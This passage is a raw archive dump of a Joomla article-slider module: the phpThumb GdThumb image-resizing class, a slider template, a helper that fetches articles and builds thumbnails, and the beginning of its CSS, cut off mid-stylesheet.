/** * Class Destructor * */ public function __destruct () { if (is_resource($this->oldImage)) { imagedestroy($this->oldImage); } if (is_resource($this->workingImage)) { imagedestroy($this->workingImage); } } ############################## # ----- API FUNCTIONS ------ # ############################## /** * Resizes an image to be no larger than $maxWidth or $maxHeight * * If either param is set to zero, then that dimension will not be considered as a part of the resize. * Additionally, if $this->options['resizeUp'] is set to true (false by default), then this function will * also scale the image up to the maximum dimensions provided. * * @param int $maxWidth The maximum width of the image in pixels * @param int $maxHeight The maximum height of the image in pixels * @return GdThumb */ public function resize ($maxWidth = 0, $maxHeight = 0) { // make sure our arguments are valid if (!is_numeric($maxWidth)) { throw new InvalidArgumentException('$maxWidth must be numeric'); } if (!is_numeric($maxHeight)) { throw new InvalidArgumentException('$maxHeight must be numeric'); } // make sure we're not exceeding our image size if we're not supposed to if ($this->options['resizeUp'] === false) { $this->maxHeight = (intval($maxHeight) > $this->currentDimensions['height']) ? $this->currentDimensions['height'] : $maxHeight; $this->maxWidth = (intval($maxWidth) > $this->currentDimensions['width']) ? $this->currentDimensions['width'] : $maxWidth; } else { $this->maxHeight = intval($maxHeight); $this->maxWidth = intval($maxWidth); } // get the new dimensions... $this->calcImageSize($this->currentDimensions['width'], $this->currentDimensions['height']); // create the working image if (function_exists('imagecreatetruecolor')) { $this->workingImage = imagecreatetruecolor($this->newDimensions['newWidth'], $this->newDimensions['newHeight']); } else { $this->workingImage = imagecreate($this->newDimensions['newWidth'], $this->newDimensions['newHeight']); } $this->preserveAlpha(); // and create the newly sized image imagecopyresampled ( $this->workingImage, $this->oldImage, 0, 0, 0, 0, $this->newDimensions['newWidth'], $this->newDimensions['newHeight'], $this->currentDimensions['width'], $this->currentDimensions['height'] ); // update all the variables and resources to be correct $this->oldImage = $this->workingImage; $this->currentDimensions['width'] = $this->newDimensions['newWidth']; $this->currentDimensions['height'] = $this->newDimensions['newHeight']; return $this; } /** * Adaptively Resizes the Image * * This function attempts to get the image to as close to the provided dimensions as possible, and then crops the * remaining overflow (from the center) to get the image to be the size specified * * @param int $maxWidth * @param int $maxHeight * @return GdThumb */ public function adaptiveResize ($width, $height) { // make sure our arguments are valid if (!is_numeric($width) || $width == 0) { throw new InvalidArgumentException('$width must be numeric and greater than zero'); } if (!is_numeric($height) || $height == 0) { throw new InvalidArgumentException('$height must be numeric and greater than zero'); } // make sure we're not exceeding our image size if we're not supposed to if ($this->options['resizeUp'] === false) { $this->maxHeight = (intval($height) > $this->currentDimensions['height']) ? $this->currentDimensions['height'] : $height; $this->maxWidth = (intval($width) > $this->currentDimensions['width']) ? $this->currentDimensions['width'] : $width; } else { $this->maxHeight = intval($height); $this->maxWidth = intval($width); } $this->calcImageSizeStrict($this->currentDimensions['width'], $this->currentDimensions['height']); // resize the image to be close to our desired dimensions $this->resize($this->newDimensions['newWidth'], $this->newDimensions['newHeight']); // reset the max dimensions... if ($this->options['resizeUp'] === false) { $this->maxHeight = (intval($height) > $this->currentDimensions['height']) ? $this->currentDimensions['height'] : $height; $this->maxWidth = (intval($width) > $this->currentDimensions['width']) ? $this->currentDimensions['width'] : $width; } else { $this->maxHeight = intval($height); $this->maxWidth = intval($width); } // create the working image if (function_exists('imagecreatetruecolor')) { $this->workingImage = imagecreatetruecolor($this->maxWidth, $this->maxHeight); } else { $this->workingImage = imagecreate($this->maxWidth, $this->maxHeight); } $this->preserveAlpha(); $cropWidth = $this->maxWidth; $cropHeight = $this->maxHeight; $cropX = 0; $cropY = 0; // now, figure out how to crop the rest of the image... if ($this->currentDimensions['width'] > $this->maxWidth) { $cropX = intval(($this->currentDimensions['width'] - $this->maxWidth) / 2); } elseif ($this->currentDimensions['height'] > $this->maxHeight) { $cropY = intval(($this->currentDimensions['height'] - $this->maxHeight) / 2); } imagecopyresampled ( $this->workingImage, $this->oldImage, 0, 0, $cropX, $cropY, $cropWidth, $cropHeight, $cropWidth, $cropHeight ); // update all the variables and resources to be correct $this->oldImage = $this->workingImage; $this->currentDimensions['width'] = $this->maxWidth; $this->currentDimensions['height'] = $this->maxHeight; return $this; } /** * Resizes an image by a given percent uniformly * * Percentage should be whole number representation (i.e. 1-100) * * @param int $percent * @return GdThumb */ public function resizePercent ($percent = 0) { if (!is_numeric($percent)) { throw new InvalidArgumentException ('$percent must be numeric'); } $this->percent = intval($percent); $this->calcImageSizePercent($this->currentDimensions['width'], $this->currentDimensions['height']); if (function_exists('imagecreatetruecolor')) { $this->workingImage = imagecreatetruecolor($this->newDimensions['newWidth'], $this->newDimensions['newHeight']); } else { $this->workingImage = imagecreate($this->newDimensions['newWidth'], $this->newDimensions['newHeight']); } $this->preserveAlpha(); ImageCopyResampled( $this->workingImage, $this->oldImage, 0, 0, 0, 0, $this->newDimensions['newWidth'], $this->newDimensions['newHeight'], $this->currentDimensions['width'], $this->currentDimensions['height'] ); $this->oldImage = $this->workingImage; $this->currentDimensions['width'] = $this->newDimensions['newWidth']; $this->currentDimensions['height'] = $this->newDimensions['newHeight']; return $this; } /** * Crops an image from the center with provided dimensions * * If no height is given, the width will be used as a height, thus creating a square crop * * @param int $cropWidth * @param int $cropHeight * @return GdThumb */ public function cropFromCenter ($cropWidth, $cropHeight = null) { if (!is_numeric($cropWidth)) { throw new InvalidArgumentException('$cropWidth must be numeric'); } if ($cropHeight !== null && !is_numeric($cropHeight)) { throw new InvalidArgumentException('$cropHeight must be numeric'); } if ($cropHeight === null) { $cropHeight = $cropWidth; } $cropWidth = ($this->currentDimensions['width'] < $cropWidth) ? $this->currentDimensions['width'] : $cropWidth; $cropHeight = ($this->currentDimensions['height'] < $cropHeight) ? $this->currentDimensions['height'] : $cropHeight; $cropX = intval(($this->currentDimensions['width'] - $cropWidth) / 2); $cropY = intval(($this->currentDimensions['height'] - $cropHeight) / 2); $this->crop($cropX, $cropY, $cropWidth, $cropHeight); return $this; } /** * Vanilla Cropping - Crops from x,y with specified width and height * * @param int $startX * @param int $startY * @param int $cropWidth * @param int $cropHeight * @return GdThumb */ public function crop ($startX, $startY, $cropWidth, $cropHeight) { // validate input if (!is_numeric($startX)) { throw new InvalidArgumentException('$startX must be numeric'); } if (!is_numeric($startY)) { throw new InvalidArgumentException('$startY must be numeric'); } if (!is_numeric($cropWidth)) { throw new InvalidArgumentException('$cropWidth must be numeric'); } if (!is_numeric($cropHeight)) { throw new InvalidArgumentException('$cropHeight must be numeric'); } // do some calculations $cropWidth = ($this->currentDimensions['width'] < $cropWidth) ? $this->currentDimensions['width'] : $cropWidth; $cropHeight = ($this->currentDimensions['height'] < $cropHeight) ? $this->currentDimensions['height'] : $cropHeight; // ensure everything's in bounds if (($startX + $cropWidth) > $this->currentDimensions['width']) { $startX = ($this->currentDimensions['width'] - $cropWidth); } if (($startY + $cropHeight) > $this->currentDimensions['height']) { $startY = ($this->currentDimensions['height'] - $cropHeight); } if ($startX < 0) { $startX = 0; } if ($startY < 0) { $startY = 0; } // create the working image if (function_exists('imagecreatetruecolor')) { $this->workingImage = imagecreatetruecolor($cropWidth, $cropHeight); } else { $this->workingImage = imagecreate($cropWidth, $cropHeight); } $this->preserveAlpha(); imagecopyresampled ( $this->workingImage, $this->oldImage, 0, 0, $startX, $startY, $cropWidth, $cropHeight, $cropWidth, $cropHeight ); $this->oldImage = $this->workingImage; $this->currentDimensions['width'] = $cropWidth; $this->currentDimensions['height'] = $cropHeight; return $this; } /** * Rotates image either 90 degrees clockwise or counter-clockwise * * @param string $direction * @retunrn GdThumb */ public function rotateImage ($direction = 'CW') { if ($direction == 'CW') { $this->rotateImageNDegrees(90); } else { $this->rotateImageNDegrees(-90); } return $this; } /** * Rotates image specified number of degrees * * @param int $degrees * @return GdThumb */ public function rotateImageNDegrees ($degrees) { if (!is_numeric($degrees)) { throw new InvalidArgumentException('$degrees must be numeric'); } if (!function_exists('imagerotate')) { throw new RuntimeException('Your version of GD does not support image rotation.'); } $this->workingImage = imagerotate($this->oldImage, $degrees, 0); $newWidth = $this->currentDimensions['height']; $newHeight = $this->currentDimensions['width']; $this->oldImage = $this->workingImage; $this->currentDimensions['width'] = $newWidth; $this->currentDimensions['height'] = $newHeight; return $this; } /** * Shows an image * * This function will show the current image by first sending the appropriate header * for the format, and then outputting the image data. If headers have already been sent, * a runtime exception will be thrown * * @param bool $rawData Whether or not the raw image stream should be output * @return GdThumb */ public function show ($rawData = false) { if (headers_sent()) { throw new RuntimeException('Cannot show image, headers have already been sent'); } switch ($this->format) { case 'GIF': if ($rawData === false) { header('Content-type: image/gif'); } imagegif($this->oldImage); break; case 'JPG': if ($rawData === false) { header('Content-type: image/jpeg'); } imagejpeg($this->oldImage, null, $this->options['jpegQuality']); break; case 'PNG': case 'STRING': if ($rawData === false) { header('Content-type: image/png'); } imagepng($this->oldImage); break; } return $this; } /** * Returns the Working Image as a String * * This function is useful for getting the raw image data as a string for storage in * a database, or other similar things. * * @return string */ public function getImageAsString () { $data = null; ob_start(); $this->show(true); $data = ob_get_contents(); ob_end_clean(); return $data; } /** * Saves an image * * This function will make sure the target directory is writeable, and then save the image. * * If the target directory is not writeable, the function will try to correct the permissions (if allowed, this * is set as an option ($this->options['correctPermissions']). If the target cannot be made writeable, then a * RuntimeException is thrown. * * TODO: Create additional paramter for color matte when saving images with alpha to non-alpha formats (i.e. PNG => JPG) * * @param string $fileName The full path and filename of the image to save * @param string $format The format to save the image in (optional, must be one of [GIF,JPG,PNG] * @return GdThumb */ public function save ($fileName, $format = null) { $validFormats = array('GIF', 'JPG', 'PNG'); $format = ($format !== null) ? strtoupper($format) : $this->format; if (!in_array($format, $validFormats)) { throw new InvalidArgumentException ('Invalid format type specified in save function: ' . $format); } // make sure the directory is writeable if (!is_writeable(dirname($fileName))) { // try to correct the permissions if ($this->options['correctPermissions'] === true) { @chmod(dirname($fileName), 0777); // throw an exception if not writeable if (!is_writeable(dirname($fileName))) { throw new RuntimeException ('File is not writeable, and could not correct permissions: ' . $fileName); } } // throw an exception if not writeable else { throw new RuntimeException ('File not writeable: ' . $fileName); } } switch ($format) { case 'GIF': imagegif($this->oldImage, $fileName); break; case 'JPG': imagejpeg($this->oldImage, $fileName, $this->options['jpegQuality']); break; case 'PNG': imagepng($this->oldImage, $fileName); break; } return $this; } ################################# # ----- GETTERS / SETTERS ----- # ################################# /** * Sets $this->options to $options * * @param array $options */ public function setOptions ($options = array()) { // make sure we've got an array for $this->options (could be null) if (!is_array($this->options)) { $this->options = array(); } // make sure we've gotten a proper argument if (!is_array($options)) { throw new InvalidArgumentException ('setOptions requires an array'); } // we've yet to init the default options, so create them here if (sizeof($this->options) == 0) { $defaultOptions = array ( 'resizeUp' => false, 'jpegQuality' => 70, 'correctPermissions' => false, 'preserveAlpha' => true, 'alphaMaskColor' => array (255, 255, 255), 'preserveTransparency' => true, 'transparencyMaskColor' => array (0, 0, 0) ); } // otherwise, let's use what we've got already else { $defaultOptions = $this->options; } $this->options = array_merge($defaultOptions, $options); } /** * Returns $currentDimensions. * * @see GdThumb::$currentDimensions */ public function getCurrentDimensions () { return $this->currentDimensions; } /** * Sets $currentDimensions. * * @param object $currentDimensions * @see GdThumb::$currentDimensions */ public function setCurrentDimensions ($currentDimensions) { $this->currentDimensions = $currentDimensions; } /** * Returns $maxHeight. * * @see GdThumb::$maxHeight */ public function getMaxHeight () { return $this->maxHeight; } /** * Sets $maxHeight. * * @param object $maxHeight * @see GdThumb::$maxHeight */ public function setMaxHeight ($maxHeight) { $this->maxHeight = $maxHeight; } /** * Returns $maxWidth. * * @see GdThumb::$maxWidth */ public function getMaxWidth () { return $this->maxWidth; } /** * Sets $maxWidth. * * @param object $maxWidth * @see GdThumb::$maxWidth */ public function setMaxWidth ($maxWidth) { $this->maxWidth = $maxWidth; } /** * Returns $newDimensions. * * @see GdThumb::$newDimensions */ public function getNewDimensions () { return $this->newDimensions; } /** * Sets $newDimensions. * * @param object $newDimensions * @see GdThumb::$newDimensions */ public function setNewDimensions ($newDimensions) { $this->newDimensions = $newDimensions; } /** * Returns $options. * * @see GdThumb::$options */ public function getOptions () { return $this->options; } /** * Returns $percent. * * @see GdThumb::$percent */ public function getPercent () { return $this->percent; } /** * Sets $percent. * * @param object $percent * @see GdThumb::$percent */ public function setPercent ($percent) { $this->percent = $percent; } /** * Returns $oldImage. * * @see GdThumb::$oldImage */ public function getOldImage () { return $this->oldImage; } /** * Sets $oldImage. * * @param object $oldImage * @see GdThumb::$oldImage */ public function setOldImage ($oldImage) { $this->oldImage = $oldImage; } /** * Returns $workingImage. * * @see GdThumb::$workingImage */ public function getWorkingImage () { return $this->workingImage; } /** * Sets $workingImage. * * @param object $workingImage * @see GdThumb::$workingImage */ public function setWorkingImage ($workingImage) { $this->workingImage = $workingImage; } ################################# # ----- UTILITY FUNCTIONS ----- # ################################# /** * Calculates a new width and height for the image based on $this->maxWidth and the provided dimensions * * @return array * @param int $width * @param int $height */ protected function calcWidth ($width, $height) { $newWidthPercentage = (100 * $this->maxWidth) / $width; $newHeight = ($height * $newWidthPercentage) / 100; return array ( 'newWidth' => intval($this->maxWidth), 'newHeight' => intval($newHeight) ); } /** * Calculates a new width and height for the image based on $this->maxWidth and the provided dimensions * * @return array * @param int $width * @param int $height */ protected function calcHeight ($width, $height) { $newHeightPercentage = (100 * $this->maxHeight) / $height; $newWidth = ($width * $newHeightPercentage) / 100; return array ( 'newWidth' => ceil($newWidth), 'newHeight' => ceil($this->maxHeight) ); } /** * Calculates a new width and height for the image based on $this->percent and the provided dimensions * * @return array * @param int $width * @param int $height */ protected function calcPercent ($width, $height) { $newWidth = ($width * $this->percent) / 100; $newHeight = ($height * $this->percent) / 100; return array ( 'newWidth' => ceil($newWidth), 'newHeight' => ceil($newHeight) ); } /** * Calculates the new image dimensions * * These calculations are based on both the provided dimensions and $this->maxWidth and $this->maxHeight * * @param int $width * @param int $height */ protected function calcImageSize ($width, $height) { $newSize = array ( 'newWidth' => $width, 'newHeight' => $height ); if ($this->maxWidth > 0) { $newSize = $this->calcWidth($width, $height); if ($this->maxHeight > 0 && $newSize['newHeight'] > $this->maxHeight) { $newSize = $this->calcHeight($newSize['newWidth'], $newSize['newHeight']); } } if ($this->maxHeight > 0) { $newSize = $this->calcHeight($width, $height); if ($this->maxWidth > 0 && $newSize['newWidth'] > $this->maxWidth) { $newSize = $this->calcWidth($newSize['newWidth'], $newSize['newHeight']); } } $this->newDimensions = $newSize; } /** * Calculates new image dimensions, not allowing the width and height to be less than either the max width or height * * @param int $width * @param int $height */ protected function calcImageSizeStrict ($width, $height) { // first, we need to determine what the longest resize dimension is.. if ($this->maxWidth >= $this->maxHeight) { // and determine the longest original dimension if ($width > $height) { $newDimensions = $this->calcHeight($width, $height); if ($newDimensions['newWidth'] < $this->maxWidth) { $newDimensions = $this->calcWidth($width, $height); } } elseif ($height >= $width) { $newDimensions = $this->calcWidth($width, $height); if ($newDimensions['newHeight'] < $this->maxHeight) { $newDimensions = $this->calcHeight($width, $height); } } } elseif ($this->maxHeight > $this->maxWidth) { if ($width >= $height) { $newDimensions = $this->calcWidth($width, $height); if ($newDimensions['newHeight'] < $this->maxHeight) { $newDimensions = $this->calcHeight($width, $height); } } elseif ($height > $width) { $newDimensions = $this->calcHeight($width, $height); if ($newDimensions['newWidth'] < $this->maxWidth) { $newDimensions = $this->calcWidth($width, $height); } } } $this->newDimensions = $newDimensions; } /** * Calculates new dimensions based on $this->percent and the provided dimensions * * @param int $width * @param int $height */ protected function calcImageSizePercent ($width, $height) { if ($this->percent > 0) { $this->newDimensions = $this->calcPercent($width, $height); } } /** * Determines the file format by mime-type * * This function will throw exceptions for invalid images / mime-types * */ protected function determineFormat () { if ($this->isDataStream === true) { $this->format = 'STRING'; return; } $formatInfo = getimagesize($this->fileName); // non-image files will return false if ($formatInfo === false) { if ($this->remoteImage) { $this->triggerError('Could not determine format of remote image: ' . $this->fileName); } else { $this->triggerError('File is not a valid image: ' . $this->fileName); } // make sure we really stop execution return; } $mimeType = isset($formatInfo['mime']) ? $formatInfo['mime'] : null; switch ($mimeType) { case 'image/gif': $this->format = 'GIF'; break; case 'image/jpeg': $this->format = 'JPG'; break; case 'image/png': $this->format = 'PNG'; break; default: $this->triggerError('Image format not supported: ' . $mimeType); } } /** * Makes sure the correct GD implementation exists for the file type * */ protected function verifyFormatCompatiblity () { $isCompatible = true; $gdInfo = gd_info(); switch ($this->format) { case 'GIF': $isCompatible = $gdInfo['GIF Create Support']; break; case 'JPG': $isCompatible = (isset($gdInfo['JPG Support']) || isset($gdInfo['JPEG Support'])) ? true : false; break; case 'PNG': $isCompatible = $gdInfo[$this->format . ' Support']; break; default: $isCompatible = false; } if (!$isCompatible) { // one last check for "JPEG" instead $isCompatible = $gdInfo['JPEG Support']; if (!$isCompatible) { $this->triggerError('Your GD installation does not support ' . $this->format . ' image types'); } } } /** * Preserves the alpha or transparency for PNG and GIF files * * Alpha / transparency will not be preserved if the appropriate options are set to false. * Also, the GIF transparency is pretty skunky (the results aren't awesome), but it works like a * champ... that's the nature of GIFs tho, so no huge surprise. * * This functionality was originally suggested by commenter Aimi (no links / site provided) - Thanks! :) * */ protected function preserveAlpha () { if ($this->format == 'PNG' && $this->options['preserveAlpha'] === true) { imagealphablending($this->workingImage, false); $colorTransparent = imagecolorallocatealpha ( $this->workingImage, $this->options['alphaMaskColor'][0], $this->options['alphaMaskColor'][1], $this->options['alphaMaskColor'][2], 0 ); imagefill($this->workingImage, 0, 0, $colorTransparent); imagesavealpha($this->workingImage, true); } // preserve transparency in GIFs... this is usually pretty rough tho if ($this->format == 'GIF' && $this->options['preserveTransparency'] === true) { $colorTransparent = imagecolorallocate ( $this->workingImage, $this->options['transparencyMaskColor'][0], $this->options['transparencyMaskColor'][1], $this->options['transparencyMaskColor'][2] ); imagecolortransparent($this->workingImage, $colorTransparent); imagetruecolortopalette($this->workingImage, true, 256); } } }tmpl/index.html000060400000000054151652224050007512 0ustar00<html><body bgcolor="#FFFFFF"></body></html>tmpl/default.php000060400000005043151652224050007655 0ustar00<?php /** * @title Responsive Slider for Articles * @version 3.1.1 * @copyright Copyright (C) 2011-2013 Minitek, All rights reserved. * @license GNU General Public License version 3 or later. * @author url http://www.minitek.gr/ * @author email info@minitek.gr * @developers Minitek.gr */ // no direct access defined('_JEXEC') or die('Restricted access'); $skin = $params->get('skin'); ?> <div id="<?php echo $sliderid; ?>" class="camera_wrap <?php echo $skin; ?>"> <?php if (count($items)) { ?> <?php foreach($items as $item) { ?> <div data-src="<?php echo $item->mainimage; ?>" data-thumb="<?php echo $item->mainimage_th; ?>" data-link="<?php echo $item->link; ?>"> <?php if ($params->get('slider_date')) { ?> <div class="camera_date fadeIn"> <div class="camera_date_inner"> <span class="dayno"><?php echo $item->displayDate; ?></span> </div> </div> <?php } ?> <?php if ($params->get('slider_title') || $params->get('slider_introtext') || $params->get('slider_category') || $params->get('slider_author')) { ?> <div class="camera_caption fadeIn"> <?php if($params->get('slider_title')) { ?> <h3><a href="<?php echo $item->link; ?>"><?php echo $item->title; ?></a></h3> <?php } ?> <?php if($params->get('slider_introtext')) { ?> <p><?php echo $item->displayIntrotext; ?></p> <?php } ?> <?php if($params->get('slider_category')) { ?> <span class="resli-category"><?php echo JText::_('MOD_RESPONSIVE_SLIDER_IN'); ?></span> <a href="<?php echo $item->categoryLink; ?>" class="resli-category"><i class="icon-folder"></i><?php echo $item->category_title; ?></a> <?php } ?> <?php if($params->get('slider_author')) { ?> <span class="resli-author"><?php echo JText::_('MOD_RESPONSIVE_SLIDER_BY'); ?></span> <a href="" class="resli-author"><i class="icon-folder"></i><?php echo $item->author; ?></a> <?php } ?> </div> <?php } ?> </div> <?php } ?> <?php } ?> </div> helper.php000060400000030262151652224050006535 0ustar00<?php /** * @title Responsive Slider for Articles * @version 3.x * @copyright Copyright (C) 2011-2014 Minitek, All rights reserved. * @license GNU General Public License version 3 or later. * @author url http://www.minitek.gr/ * @author email info@minitek.gr * @developers Minitek.gr */ defined('_JEXEC') or die; jimport('joomla.filesystem.folder'); if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR); if( !defined('PhpThumbFactoryLoaded') ) { require_once dirname(__FILE__).DS.'admin'.DS.'phpthumb/ThumbLib.inc.php'; define('PhpThumbFactoryLoaded',1); } $com_path = JPATH_SITE.'/components/com_content/'; require_once $com_path.'router.php'; require_once $com_path.'helpers/route.php'; JModelLegacy::addIncludePath($com_path . '/models', 'ContentModel'); /** * Helper for mod_articles_category * * @package Joomla.Site * @subpackage mod_articles_category */ abstract class ResponsiveSliderHelper { public static function getList(&$params) { // Get an instance of the generic articles model $articles = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true)); // Set application parameters in model $app = JFactory::getApplication(); $appParams = $app->getParams(); $articles->setState('params', $appParams); // Set the filters based on the module params $articles->setState('list.start', 0); $articles->setState('list.limit', (int) $params->get('count', 0)); $articles->setState('filter.published', 1); // Access filter $access = !JComponentHelper::getParams('com_content')->get('show_noauth'); $authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id')); $articles->setState('filter.access', $access); // Prep for Normal or Dynamic Modes $mode = $params->get('mode', 'normal'); switch ($mode) { case 'dynamic': $option = $app->input->get('option'); $view = $app->input->get('view'); if ($option === 'com_content') { switch($view) { case 'category': $catids = array($app->input->getInt('id')); break; case 'categories': $catids = array($app->input->getInt('id')); break; case 'article': if ($params->get('show_on_article_page', 1)) { $article_id = $app->input->getInt('id'); $catid = $app->input->getInt('catid'); if (!$catid) { // Get an instance of the generic article model $article = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request' => true)); $article->setState('params', $appParams); $article->setState('filter.published', 1); $article->setState('article.id', (int) $article_id); $item = $article->getItem(); $catids = array($item->catid); } else { $catids = array($catid); } } else { // Return right away if show_on_article_page option is off return; } break; case 'featured': default: // Return right away if not on the category or article views return; } } else { // Return right away if not on a com_content page return; } break; case 'normal': default: $catids = $params->get('catid'); $articles->setState('filter.category_id.include', (bool) $params->get('category_filtering_type', 1)); break; } // Category filter if ($catids) { if ($params->get('show_child_category_articles', 0) && (int) $params->get('levels', 0) > 0) { // Get an instance of the generic categories model $categories = JModelLegacy::getInstance('Categories', 'ContentModel', array('ignore_request' => true)); $categories->setState('params', $appParams); $levels = $params->get('levels', 1) ? $params->get('levels', 1) : 9999; $categories->setState('filter.get_children', $levels); $categories->setState('filter.published', 1); $categories->setState('filter.access', $access); $additional_catids = array(); foreach ($catids as $catid) { $categories->setState('filter.parentId', $catid); $recursive = true; $items = $categories->getItems($recursive); if ($items) { foreach ($items as $category) { $condition = (($category->level - $categories->getParent()->level) <= $levels); if ($condition) { $additional_catids[] = $category->id; } } } } $catids = array_unique(array_merge($catids, $additional_catids)); } $articles->setState('filter.category_id', $catids); } // Ordering $articles->setState('list.ordering', $params->get('article_ordering', 'a.ordering')); $articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC')); // New Parameters $articles->setState('filter.featured', $params->get('show_front', 'show')); $articles->setState('filter.author_id', $params->get('created_by', "")); $articles->setState('filter.author_id.include', $params->get('author_filtering_type', 1)); $articles->setState('filter.author_alias', $params->get('created_by_alias', "")); $articles->setState('filter.author_alias.include', $params->get('author_alias_filtering_type', 1)); $excluded_articles = $params->get('excluded_articles', ''); if ($excluded_articles) { $excluded_articles = explode("\r\n", $excluded_articles); $articles->setState('filter.article_id', $excluded_articles); $articles->setState('filter.article_id.include', false); // Exclude } $date_filtering = $params->get('date_filtering', 'off'); if ($date_filtering !== 'off') { $articles->setState('filter.date_filtering', $date_filtering); $articles->setState('filter.date_field', $params->get('date_field', 'a.created')); $articles->setState('filter.start_date_range', $params->get('start_date_range', '1000-01-01 00:00:00')); $articles->setState('filter.end_date_range', $params->get('end_date_range', '9999-12-31 23:59:59')); $articles->setState('filter.relative_date', $params->get('relative_date', 30)); } // Filter by language $articles->setState('filter.language', $app->getLanguageFilter()); $items = $articles->getItems(); // Display options $show_date = $params->get('show_date', 0); $show_date_field = $params->get('show_date_field', 'created'); $show_date_format = $params->get('show_date_format', 'Y-m-d H:i:s'); $show_category = $params->get('show_category', 0); $show_hits = $params->get('show_hits', 0); $show_author = $params->get('show_author', 0); $show_introtext = $params->get('show_introtext', 0); $introtext_limit = $params->get('introtext_limit', 15); $title_limit = $params->get('title_limit', 15); $imageWidth = (int)$params->get( 'image_width', 864 ); $imageHeight = (int)$params->get( 'image_height', 354 ); $imageWidthth = (int)$params->get( 'thumb_width', 864 ); $imageHeightth = (int)$params->get( 'thumb_height', 354 ); // Find current Article ID if on an article page $option = $app->input->get('option'); $view = $app->input->get('view'); if ($option === 'com_content' && $view === 'article') { $active_article_id = $app->input->getInt('id'); } else { $active_article_id = 0; } // Prepare data for display using display options foreach ($items as &$item) { // General image $images = json_decode($item->images, true); if ($params->get('image_type')=='introtext') { $item->mainimage = $images['image_intro']; } else if ($params->get('image_type')=='fulltext') { $item->mainimage = $images['image_fulltext']; } else if ($params->get('image_type')=='inline') { preg_match('/<img.+src=[\'"](?P<src>.+)[\'"].*>/i', $item->introtext, $new_image); if (array_key_exists('src', $new_image)) { $item->mainimage = $new_image['src']; } else { $item->mainimage = $images['image_intro']; } } $item->slug = $item->id.':'.$item->alias; $item->catslug = $item->catid ? $item->catid .':'.$item->category_alias : $item->catid; if ($access || in_array($item->access, $authorised)) { // We know that user has the privilege to view the article $item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catslug)); } else { $app = JFactory::getApplication(); $menu = $app->getMenu(); $menuitems = $menu->getItems('link', 'index.php?option=com_users&view=login'); if (isset($menuitems[0])) { $Itemid = $menuitems[0]->id; } elseif ($app->input->getInt('Itemid') > 0) { // Use Itemid from requesting page only if there is no existing menu $Itemid = $app->input->getInt('Itemid'); } $item->link = JRoute::_('index.php?option=com_users&view=login&Itemid='.$Itemid); } // Used for styling the active article $item->active = $item->id == $active_article_id ? 'active' : ''; $item->displayDate = ''; $item->displayDate = JHTML::_('date', $item->$show_date_field, $show_date_format); if ($item->catid) { $item->displayCategoryLink = JRoute::_(ContentHelperRoute::getCategoryRoute($item->catid)); $item->displayCategoryTitle = $show_category ? '<a href="'.$item->displayCategoryLink.'">'.$item->category_title.'</a>' : ''; } else { $item->displayCategoryTitle = $show_category ? $item->category_title : ''; } $item->displayHits = $show_hits ? $item->hits : ''; $item->displayAuthorName = $show_author ? $item->author : ''; $item->displayIntrotext = self::wordLimit($item->introtext, $introtext_limit); $item->title = self::wordLimit($item->title, $title_limit); // Crop images if ( $item->mainimage && $image = self::renderImages($item->mainimage, $imageWidth, $imageHeight, $item->title ) ) { $item->mainimage = $image; } if ( $item->mainimage && $image = self::renderImages($item->mainimage, $imageWidthth, $imageHeightth, $item->title ) ) { $item->mainimage_th = $image; } } return $items; } public static function _cleanIntrotext($introtext) { $introtext = str_replace('<p>', ' ', $introtext); $introtext = str_replace('</p>', ' ', $introtext); $introtext = strip_tags($introtext, '<a><em><strong>'); $introtext = trim($introtext); return $introtext; } public static function makeDir( $path ) { $folders = explode ( '/', ( $path ) ); $tmppath = JPATH_SITE.DS.'images'.DS.'reslidercon'.DS; if( !file_exists($tmppath) ) { JFolder::create( $tmppath, 0755 ); }; for( $i = 0; $i < count ( $folders ) - 1; $i ++) { if (! file_exists ( $tmppath . $folders [$i] ) && ! JFolder::create( $tmppath . $folders [$i], 0755) ) { return false; } $tmppath = $tmppath . $folders [$i] . DS; } return true; } public static function renderImages( $path, $width, $height, $title='' ) { $path = str_replace( JURI::base(), '', $path ); $imgSource = JPATH_SITE.DS. str_replace( '/', DS, $path ); if ( file_exists($imgSource) ) { $path = $width."x".$height.'/'.$path; $thumbPath = JPATH_SITE.DS.'images'.DS.'reslidercon'.DS. str_replace( '/', DS, $path ); if ( !file_exists($thumbPath) ) { $thumb = PhpThumbFactory::create( $imgSource ); if( !self::makeDir( $path ) ) { return ''; } $thumb->adaptiveResize( $width, $height); $thumb->save( $thumbPath ); } $path = JURI::base().'images/reslidercon/'.$path; } return $path; } public static function wordLimit($str, $limit = 100, $end_char = '…') { if (JString::trim($str) == '') return $str; // always strip tags for text $str = strip_tags($str); $find = array("/\r|\n/u", "/\t/u", "/\s\s+/u"); $replace = array(" ", " ", " "); $str = preg_replace($find, $replace, $str); preg_match('/\s*(?:\S*\s*){'.(int)$limit.'}/u', $str, $matches); if (JString::strlen($matches[0]) == JString::strlen($str)) $end_char = ''; return JString::rtrim($matches[0]).$end_char; } } index.html000060400000000054151652224050006536 0ustar00<html><body bgcolor="#FFFFFF"></body></html>assets/css/camera.css000060400000071056151652224050010607 0ustar00/************************** * * GENERAL * **************************/ .camera_wrap a, .camera_wrap img, .camera_wrap ol, .camera_wrap ul, .camera_wrap li, .camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td .camera_thumbs_wrap a, .camera_thumbs_wrap img, .camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li, .camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td { background: none; border: 0; font: inherit; font-size: 100%; margin: 0; padding: 0; vertical-align: baseline; list-style: none } .camera_wrap { display: none; float: left; position: relative; z-index: 0; margin: 0 0 40px !important; } .camera_wrap img { max-width: none!important; } .camera_fakehover { height: 100%; min-height: 60px; position: relative; width: 100%; z-index: 1; } .camera_wrap { width: 100%; } .camera_src { display: none; } .cameraCont, .cameraContents { height: 100%; position: relative; width: 100%; z-index: 1; } .cameraSlide { bottom: 0; left: 0; position: absolute; right: 0; top: 0; width: 100%; } .cameraContent { bottom: 0; display: none; left: 0; position: absolute; right: 0; 